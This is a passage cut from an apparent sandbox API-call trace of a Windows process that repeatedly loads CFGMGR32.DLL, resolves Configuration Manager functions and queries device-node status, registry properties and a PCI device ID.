0x7ffb1ceda490 [0242.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.445] malloc (_Size=0x18) returned 0x20abc281b60 [0242.446] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x34, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0242.446] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4c465944, dwHighDateTime=0x1d9eb0c)) [0242.446] SetEvent (hEvent=0x248) returned 1 [0242.451] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.451] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.455] malloc (_Size=0x18) returned 0x20abc2819a0 [0242.455] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x34, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0242.456] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4c48bf9c, dwHighDateTime=0x1d9eb0c)) [0242.456] SetEvent (hEvent=0x248) returned 1 [0242.460] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.460] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.463] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.463] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.463] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.463] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.463] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.463] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.464] malloc (_Size=0x18) returned 0x20abc281ba0 [0242.464] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0242.465] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.465] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4c48bf9c, dwHighDateTime=0x1d9eb0c)) [0242.466] SetEvent (hEvent=0x248) returned 1 [0242.471] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.471] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.475] malloc (_Size=0x18) returned 0x20abc281a80 [0242.475] CM_Get_Device_IDA (in: dnDevInst=0x7, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_02\\3&11583659&0&08") returned 0x0 [0242.475] malloc (_Size=0x48) returned 0x20abc27cb20 [0242.475] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x4c4b1dbb, dwHighDateTime=0x1d9eb0c)) [0242.476] SetEvent (hEvent=0x248) returned 1 [0242.480] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.481] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.481] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.482] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.484] malloc (_Size=0x18) returned 0x20abc281c60 [0242.484] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0242.485] malloc (_Size=0x124) returned 0x20abc286870 [0242.485] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0242.486] free (_Block=0x20abc286870) [0242.486] malloc (_Size=0x48) returned 0x20abc27cf80 [0242.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4c4b1dbb, dwHighDateTime=0x1d9eb0c)) [0242.486] SetEvent (hEvent=0x248) returned 1 [0242.568] malloc (_Size=0x18) returned 0x20abc2819c0 [0242.568] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0242.568] free (_Block=0x20abc2819c0) [0242.568] malloc (_Size=0x18) returned 0x20abc281f80 [0242.568] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0242.568] free (_Block=0x20abc281f80) [0242.568] malloc (_Size=0x18) returned 0x20abc281b80 [0242.569] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0242.569] free (_Block=0x20abc281b80) [0242.569] malloc (_Size=0x18) returned 0x20abc281de0 [0242.569] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0242.569] free (_Block=0x20abc281de0) [0242.569] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cef0 [0242.569] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0242.569] SafeArrayGetLBound (in: psa=0x20abbaf1aa0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0242.569] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0242.569] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79520 [0242.569] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0242.569] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0242.569] SafeArrayGetElemsize (psa=0x20abbaf1aa0) returned 0x8 [0242.569] SafeArrayGetElement (in: psa=0x20abbaf1aa0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0242.570] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c70, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.570] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c78, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.570] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c80, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.570] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c88, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.571] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79520) returned 1 [0242.571] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cef0) returned 1 [0242.572] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.572] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0242.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0242.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0242.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0242.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0242.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0242.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0242.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0242.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0242.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0242.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0242.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0242.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0242.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0242.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0242.575] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0242.576] malloc (_Size=0x18) returned 0x20abc281f60 [0242.576] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0242.576] malloc (_Size=0x10e) returned 0x20abc286870 [0242.576] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x7, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0242.577] free (_Block=0x20abc286870) [0242.577] malloc (_Size=0x48) returned 0x20abc2a88c0 [0242.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x4c597519, dwHighDateTime=0x1d9eb0c)) [0242.578] SetEvent (hEvent=0x248) returned 1 [0242.582] malloc (_Size=0x18) returned 0x20abc281c40 [0242.582] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0242.582] free (_Block=0x20abc281c40) [0242.583] malloc (_Size=0x18) returned 0x20abc282060 [0242.583] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0242.583] free (_Block=0x20abc282060) [0242.583] malloc (_Size=0x18) returned 0x20abc281960 [0242.583] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0242.583] free (_Block=0x20abc281960) [0242.583] malloc (_Size=0x18) returned 0x20abc281e00 [0242.583] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0242.583] free (_Block=0x20abc281e00) [0242.583] malloc (_Size=0x18) returned 0x20abc281d20 [0242.583] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0242.583] free (_Block=0x20abc281d20) [0242.583] malloc (_Size=0x18) returned 0x20abc281f20 [0242.583] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0242.583] free (_Block=0x20abc281f20) [0242.583] malloc (_Size=0x18) returned 0x20abc281de0 [0242.583] SafeArrayPutElement (psa=0x20abbaf1aa0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0242.584] free (_Block=0x20abc281de0) [0242.584] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c970 [0242.584] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0242.584] SafeArrayGetLBound (in: psa=0x20abbaf1aa0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0242.584] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0242.584] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0242.584] SafeArrayGetDim (psa=0x20abbaf1aa0) returned 0x1 [0242.584] SafeArrayGetUBound (in: psa=0x20abbaf1aa0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0242.584] SafeArrayGetElemsize (psa=0x20abbaf1aa0) returned 0x8 [0242.584] SafeArrayGetElement (in: psa=0x20abbaf1aa0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0242.584] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1ad0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.585] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1ad8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.585] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1ae0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.585] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1ae8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.585] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.585] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.585] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf1b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0242.586] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0242.586] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c970) returned 1 [0242.587] malloc (_Size=0xd8) returned 0x20abc284e70 [0242.587] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0242.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0242.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0242.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0242.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0242.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0242.588] GetProcAddress (hModule=0x7ffb1ced0000, 